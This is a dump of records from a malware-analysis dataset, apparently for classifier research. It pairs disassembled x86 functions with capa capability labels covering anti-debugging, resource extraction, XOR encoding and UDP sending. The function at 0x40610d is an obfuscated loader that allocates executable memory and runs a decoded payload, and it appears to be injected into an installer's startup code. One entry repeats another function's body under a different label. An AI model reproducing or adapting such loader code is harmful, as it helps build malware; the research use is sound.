joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4422f0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x442323
push esi
call fcn.004453e0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44231c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4423a9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x442392
mov eax, dword [esi + 8]
test eax, eax
je 0x442347
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44238e
cmp eax, 2
je 0x442392
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44233a
cmp eax, 3
je 0x44236d
cmp eax, 1
jne 0x44233a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44233a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44233a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004423d0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4423b8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004423d0
add esp, 4
pop esi
ret

Function at 0x4609e8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x460a20
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045ea9c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045ea74
jmp 0x460a2c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4620d6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x462118
call fcn.00467b8f
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x462118
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46210f
xor eax, eax
jmp 0x462120
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00462126
pop edi
pop esi
pop ebx
ret 4

Function at 0x4680bf
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4680ed
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46810b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00468025
jmp 0x46810b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46810b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00468025
test edi, edi
mov eax, edi
jne 0x4680f5
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret
Function at 0x401def
Capabilities:
Delete file
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
push 0
push 0
call dword [sym.imp.MSVCR80.dll__tempnam]
mov esi, dword [sym.imp.MSVCR80.dll___iob_func]
mov ebp, eax
mov dword [esp + 0x1c], ebp
call esi
mov edi, dword [sym.imp.MSVCR80.dll_freopen]
add eax, 0x40
push eax
mov ebx, 0x4078c0
push ebx
push ebp
call edi
call esi
add eax, 0x20
push eax
push ebx
push ebp
call edi
add esp, 0x20
mov ebx, 0x40c920
call fcn.0040610d
mov edi, eax
test edi, edi
jne 0x401e50
push str.Cant_load_Python_for_pre_install_script
call fcn.00401613
or eax, 0xffffffff
jmp 0x401f45
push dword [esp + 0x20]
call fcn.0040610d
pop ecx
push edi
mov dword [esp + 0x1c], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
call esi
mov edi, dword [sym.imp.MSVCR80.dll_fflush]
add eax, 0x40
push eax
call edi
call esi
mov ebp, dword [sym.imp.MSVCR80.dll_fclose]
add eax, 0x40
push eax
call ebp
call esi
add eax, 0x20
push eax
call edi
call esi
add eax, 0x20
push eax
call ebp
add esp, 0x10
cmp dword [esp + 0x18], 0
je 0x401f37
push str.Running_the_pre_installation_script_failed_r_n
call sub.MSVCR80.dll_strlen
mov dword [esp], 0x407860
push dword [esp + 0x18]
mov edi, eax
call dword [sym.imp.MSVCR80.dll_fopen]
mov esi, dword [sym.imp.MSVCR80.dll_fseek]
push 2
mov ebx, eax
push 0
push ebx
call esi
push ebx
call dword [sym.imp.MSVCR80.dll_ftell]
push 0
push 0
push ebx
mov dword [esp + 0x34], eax
call esi
mov eax, dword [esp + 0x34]
lea eax, [eax + edi + 1]
push eax
call dword [sym.imp.MSVCR80.dll_malloc]
mov esi, eax
add esp, 0x28
test esi, esi
je 0x401f2c
push str.Running_the_pre_installation_script_failed_r_n
push esi
call sub.MSVCR80.dll_strcpy
push ebx
push dword [esp + 0x1c]
lea eax, [esi + edi]
push 1
push eax
call dword [sym.imp.MSVCR80.dll_fread]
add eax, esi
push ebx
mov byte [eax + edi], 0
call ebp
push esi
call fcn.00401613
push esi
call dword [sym.imp.MSVCR80.dll_free]
add esp, 0x24
jmp 0x401f37
push str.Out_of_memory_
call fcn.00401613
pop ecx
push dword [esp + 0x14]
call dword [sym.imp.MSVCR80.dll_remove]
mov eax, dword [esp + 0x1c]
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x40220d
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x40c17c]
xor eax, ebp
mov dword [ebp + 0x90], eax
mov eax, dword [ebp + 0x9c]
mov dword [ebp - 0x78], ecx
lea ecx, [edx + eax - 0x16]
sub eax, dword [ecx + 0x10]
push esi
sub eax, dword [ecx + 0xc]
push edi
mov edi, dword [ebp + 0xa0]
sub eax, 0x22
lea esi, [edx + eax]
xor edx, edx
mov dword [edi], edx
mov dword [ebx], edx
cmp dword [ecx], 0x6054b50
mov dword [ebp - 0x80], edi
jne 0x40234d
cmp dword [esi], 0x1234567b
je 0x402277
push edx
mov edi, str.Invalid_cfgdata_magic_number__see_bdist_wininst.py_
call fcn.0040610d
pop ecx
jmp 0x40234f
cmp eax, edx
jl 0x40234d
mov ecx, dword [esi + 8]
cmp ecx, edx
je 0x402293
mov edx, esi
sub edx, dword [esi + 4]
sub edx, ecx
mov dword [0x40ca30], edx
sub eax, dword [esi + 4]
mov ecx, dword [ebp - 0x78]
sub eax, dword [esi + 8]
mov edi, esi
mov dword [ecx], eax
sub edi, dword [esi + 4]
push 0x104
call dword [sym.imp.MSVCR80.dll_malloc]
test eax, eax
pop ecx
mov dword [ebp - 0x7c], eax
je 0x40234d
lea eax, [ebp - 0x74]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x40233b
push dword [ebp - 0x7c]
lea eax, [ebp - 0x74]
push 0
push 0x407940
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
test eax, eax
je 0x40233b
xor eax, eax
push eax
push eax
push eax
push dword [esi + 4]
push eax
push dword [ebp - 0x7c]
push 2
call fcn.0040610d
add esp, 0x1c
test eax, eax
mov dword [ebp - 0x78], eax
je 0x40234d
push dword [esi + 4]
push edi
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
push dword [ebp - 0x78]
call sub.MSVCR80.dll_strlen
lea edi, [edi + eax + 1]
push edi
call dword [sym.imp.MSVCR80.dll__strdup]
mov ecx, dword [ebp - 0x80]
add esp, 0x14
push dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebx], eax
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
xor eax, eax
inc eax
jmp 0x40234f
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov edi, str.Could_not_create_temporary_file
call fcn.0040610d
pop ecx
xor eax, eax
mov ecx, dword [ebp + 0x90]
pop edi
xor ecx, ebp
pop esi
call fcn.004065b0
add ebp, 0x94
leave
ret
Function at 0x4036a1
Capabilities:
Delete file
Read file on windows

Disassembly:
mov eax, 0x1018
call fcn.00406600
mov eax, dword [0x40c17c]
xor eax, esp
mov dword [esp + 0x1014], eax
mov eax, dword [esp + 0x101c]
push esi
mov esi, dword [sym.imp.MSVCR80.dll_strchr]
push edi
push 0x5b
push eax
call esi
xor edi, edi
cmp eax, edi
pop ecx
pop ecx
jne 0x4036dc
xor eax, eax
jmp 0x40385e
inc eax
push 0x5d
push eax
mov dword [esp + 0x14], eax
call esi
mov esi, eax
cmp esi, edi
pop ecx
pop ecx
je 0x4036d5
mov byte [esi], 0
inc esi
push esi
push 0x40c1a0
mov dword [esp + 0x10], esi
call sub.MSVCR80.dll_strcmp
test eax, eax
pop ecx
pop ecx
je 0x40385b
push ebx
push ebp
push edi
push edi
mov dword [esp + 0x24], str._remove
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], esi
call dword [sym.imp.MSVCR80.dll__tempnam]
mov esi, dword [sym.imp.MSVCR80.dll___iob_func]
mov ebx, eax
call esi
mov ebp, dword [sym.imp.MSVCR80.dll_freopen]
add eax, 0x40
push eax
mov edi, 0x4078c0
push edi
push ebx
call ebp
add esp, 0x14
test eax, eax
jne 0x40375d
push eax
push eax
push str.freopen_stderr
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
call esi
add eax, 0x20
push eax
push edi
push ebx
call ebp
add esp, 0xc
test eax, eax
jne 0x403782
push eax
push eax
push str.freopen_stdout
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0x14]
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4037c8
lea eax, [esp + 0x18]
push eax
push 2
push dword [esp + 0x18]
mov ecx, edi
call fcn.0040610d
add esp, 0xc
cmp eax, 0x80000000
jne 0x4037c1
push str._Could_not_load_Python_
call esi
add eax, 0x40
push eax
call dword [sym.imp.MSVCR80.dll_fprintf]
pop ecx
pop ecx
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
call esi
mov ebp, dword [sym.imp.MSVCR80.dll_fflush]
add eax, 0x40
push eax
call ebp
call esi
mov edi, dword [sym.imp.MSVCR80.dll_fclose]
add eax, 0x40
push eax
call edi
call esi
add eax, 0x20
push eax
call ebp
call esi
add eax, 0x20
push eax
call edi
push 0x407860
push ebx
call dword [sym.imp.MSVCR80.dll_fopen]
mov esi, eax
push esi
push 0x1000
lea eax, [esp + 0x44]
push 1
push eax
call dword [sym.imp.MSVCR80.dll_fread]
push esi
mov ebp, eax
call edi
push ebx
call dword [sym.imp.MSVCR80.dll_remove]
add esp, 0x30
mov byte [esp + ebp + 0x24], 0
cmp byte [esp + 0x24], 0
pop ebp
pop ebx
je 0x40384b
push 0
push str.uninstall_script
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 8]
push 0x40c1a0
call sub.MSVCR80.dll_strcpy
pop ecx
pop ecx
xor eax, eax
inc eax
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
xor ecx, esp
call fcn.004065b0
add esp, 0x1018
ret
Function at 0x404257
Capabilities:
Delete file
Read .ini file

Disassembly:
mov eax, 0x1004
call fcn.00406600
mov eax, dword [0x40c17c]
xor eax, esp
mov dword [esp + 0x1000], eax
push ebx
push ebp
push esi
push edi
push dword [0x40dbec]
mov edi, dword [sym.imp.kernel32.dll_GetPrivateProfileStringA]
mov ebp, 0x1000
push ebp
lea eax, [esp + 0x18]
push eax
mov ebx, 0x4074e8
push ebx
push str.title
mov esi, 0x4083d8
push esi
call edi
push 0x50
pop ecx
lea eax, [esp + 0x10]
mov edx, 0x40c620
call fcn.0040610d
push dword [0x40dbec]
lea eax, [esp + 0x14]
push ebp
push eax
push ebx
push str.info
push esi
call edi
mov ecx, ebp
lea eax, [esp + 0x10]
mov edx, 0x40ca40
call fcn.0040610d
push dword [0x40dbec]
push 0x50
push 0x40da80
push ebx
push str.build_info
push esi
call edi
push dword [0x40dbec]
mov ebp, dword [sym.imp.kernel32.dll_GetPrivateProfileIntA]
push 1
push str.target_compile
push esi
call ebp
push dword [0x40dbec]
mov dword [0x40c674], eax
push 1
push str.target_optimize
push esi
call ebp
push dword [0x40dbec]
mov dword [0x40c670], eax
push 0xa
push 0x40da50
push ebx
push str.target_version
push esi
call edi
push dword [0x40dbec]
push 0x50
push 0x40c7a0
push ebx
push str.name
push str.metadata
call edi
push dword [0x40dbec]
push 0x104
push 0x40c680
push ebx
push str.install_script
push esi
call edi
push 0x40c620
call fcn.00402490
push eax
mov dword [0x40da40], eax
call fcn.0040610d
pop ecx
pop ecx
push dword [0x40dad4]
call dword [sym.imp.kernel32.dll_UnmapViewOfFile]
mov eax, dword [0x40dbec]
test eax, eax
pop edi
pop esi
pop ebp
pop ebx
je 0x404399
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [0x40dbf0]
test eax, eax
je 0x4043a9
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, dword [esp + 0x1000]
xor ecx, esp
xor eax, eax
call fcn.004065b0
add esp, 0x1004
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40611c
pop dword [ebp - 0x44]
mov eax, 0x40611c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa28b451c
sub dword [ebp - 0x54], 0x5438ffd1
mov dword [ebp - 0x50], 0x73d81ff1
add dword [ebp - 0x50], 0xbe5b2c54
mov dword [ebp - 0x4c], 0x1c30bb3b
add dword [ebp - 0x4c], 0x301b88f3
mov dword [ebp - 0x48], 0xc1bfd040
add dword [ebp - 0x48], 0x3e402fc0
lea eax, [ebp - 0x54]
push eax
mov eax, 0x3b91ded9
add eax, 0xc4ae9187
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xd0a5e0db
add dword [ebp - 0x54], 0xa3cc887b
mov dword [ebp - 0x50], 0x8da76272
add dword [ebp - 0x50], 0xb3c4ff03
mov dword [ebp - 0x4c], 0xae1b1668
add dword [ebp - 0x4c], 0xb5545604
mov dword [ebp - 0x48], 0x41764d10
add dword [ebp - 0x48], 0xbe89b2f0
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xcf07bffe
add eax, 0x3138b102
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x36707
push 0
call eax
mov ecx, 0x4753
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x44]
mov esi, 0xe5e93a54
sub esi, 0x14471972
sub dword [ebp - 0x40], edx
mov edi, dword [ebx]
mov dword [ebp - 0xc], 0x13c4975e
add edi, esi
xor dword [ebp - 8], ebx
mov dword [edx], edi
add dword [ebp - 0x20], 0xd3b6bfa1
add edx, 4
add ebx, 4
loop 0x40622f
add eax, 0x8b58b4eb
add eax, 0x74a85b34
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040610d
jmp 0x406676
Function at 0x4020e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4020f9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402134
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402130
lea ebx, [ebx]
cmp esi, eax
jae 0x402134
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402120
cmp esi, eax
jb 0x40213a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x404510
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
test esi, esi
je 0x404565
push ebx
push edi
mov edi, dword [esp + 0x10]
mov cl, byte [edi]
movzx edx, cl
sar dl, 4
mov ebx, eax
shr ebx, 0xc
shl eax, 4
sub esi, 1
add edi, 1
xor edx, ebx
and edx, 0xf
xor ax, word [edx*2 + 0x43c6c8]
movzx eax, ax
mov edx, eax
shr edx, 0xc
xor edx, ecx
shl eax, 4
and edx, 0xf
xor ax, word [edx*2 + 0x43c6c8]
test esi, esi
movzx eax, ax
jne 0x404521
pop edi
pop ebx
pop esi
ret

Function at 0x404570
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x4045b7
push 0x3e8
mov byte [esi + 0x50c], 1
mov byte [esi + 0x50d], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esi + 0x50d], 0
jne 0x4045b1
mov eax, dword [esi]
push 0xfffffc18
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
pop esi
ret

Function at 0x404b30
Capabilities:
Send data
Send data on socket
Write file on windows

Disassembly:
mov eax, dword [ecx + 0x508]
sub eax, 0
je 0x404b5b
sub eax, 1
je 0x404b50
sub eax, 1
jne 0x404b66
add ecx, 0x750
jmp 0x405210
add ecx, 0x510
jmp 0x404f30
add ecx, 0x720
jmp 0x405730
ret 8
mov edx, dword [esp + 8]
mov ecx, dword [ecx + 0x208]
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8
mov edx, dword [esp + 8]
push 0x10
lea eax, [ecx + 0x194]
mov ecx, dword [ecx + 0x190]
push eax
mov eax, dword [esp + 0xc]
push 0
push edx
push eax
push ecx
call sub.WS2_32.dll_sendto
ret 8
sub esp, 0x50
mov eax, dword [0x44b5cc]
xor eax, esp
mov dword [esp + 0x4c], eax
xor eax, eax
cmp dword [ecx + 0x2c], eax
push ebp
mov ebp, dword [esp + 0x58]
mov dword [esp + 4], ecx
jne 0x405760
pop ebp
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.00422bdb
add esp, 0x50
ret 8
cmp dword [ecx + 0x24], eax
je 0x4057cd
mov ecx, dword [esp + 0x5c]
test ecx, ecx
jle 0x4057cd
push ebx
lea ebx, [ecx - 1]
push esi
shr ebx, 6
push edi
add ebx, 1
lea esp, [esp]
push 0x41
lea eax, [esp + 0x1c]
push 0xff
push eax
call fcn.00424050
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov esi, ebp
push 0
mov byte [esp + 0x1c], 0
mov ecx, 0x10
lea edi, [esp + 0x1d]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [eax + 0x24]
push 0x41
lea edx, [esp + 0x24]
push edx
push ecx
add ebp, 0x40
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub ebx, 1
jne 0x405780
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
pop ebp
xor ecx, esp
call fcn.00422bdb
add esp, 0x50
ret 8
Function at 0x405160
Capabilities:
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
push esi
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 0x190], eax
jne 0x4051a0
push 0x10
push str.Socket_Error
push str.Socket_creation_failed_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop esi
pop ecx
ret 8
push 4
lea ecx, [esp + 8]
push ecx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x18], 0xa
call sub.WS2_32.dll_setsockopt
cmp eax, 0xffffffff
jne 0x4051dc
push 0x10
push 0
push str.Failed_to_set_the_receive_time_out_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop esi
pop ecx
ret 8
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
push eax
mov word [esi + 0x194], 2
mov dword [esi + 0x198], edx
call sub.WS2_32.dll_htons
mov word [esi + 0x196], ax
mov eax, 1
pop esi
pop ecx
ret 8

Function at 0x405730
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [ecx + 0x508]
sub eax, 0
je 0x404b5b
sub eax, 1
je 0x404b50
sub eax, 1
jne 0x404b66
add ecx, 0x750
jmp 0x405210
add ecx, 0x510
jmp 0x404f30
add ecx, 0x720
jmp 0x405730
ret 8
mov edx, dword [esp + 8]
mov ecx, dword [ecx + 0x208]
push 0
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8
mov edx, dword [esp + 8]
push 0x10
lea eax, [ecx + 0x194]
mov ecx, dword [ecx + 0x190]
push eax
mov eax, dword [esp + 0xc]
push 0
push edx
push eax
push ecx
call sub.WS2_32.dll_sendto
ret 8
sub esp, 0x50
mov eax, dword [0x44b5cc]
xor eax, esp
mov dword [esp + 0x4c], eax
xor eax, eax
cmp dword [ecx + 0x2c], eax
push ebp
mov ebp, dword [esp + 0x58]
mov dword [esp + 4], ecx
jne 0x405760
pop ebp
mov ecx, dword [esp + 0x4c]
xor ecx, esp
call fcn.00422bdb
add esp, 0x50
ret 8
cmp dword [ecx + 0x24], eax
je 0x4057cd
mov ecx, dword [esp + 0x5c]
test ecx, ecx
jle 0x4057cd
push ebx
lea ebx, [ecx - 1]
push esi
shr ebx, 6
push edi
add ebx, 1
lea esp, [esp]
push 0x41
lea eax, [esp + 0x1c]
push 0xff
push eax
call fcn.00424050
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov esi, ebp
push 0
mov byte [esp + 0x1c], 0
mov ecx, 0x10
lea edi, [esp + 0x1d]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [eax + 0x24]
push 0x41
lea edx, [esp + 0x24]
push edx
push ecx
add ebp, 0x40
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub ebx, 1
jne 0x405780
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x50]
pop ebp
xor ecx, esp
call fcn.00422bdb
add esp, 0x50
ret 8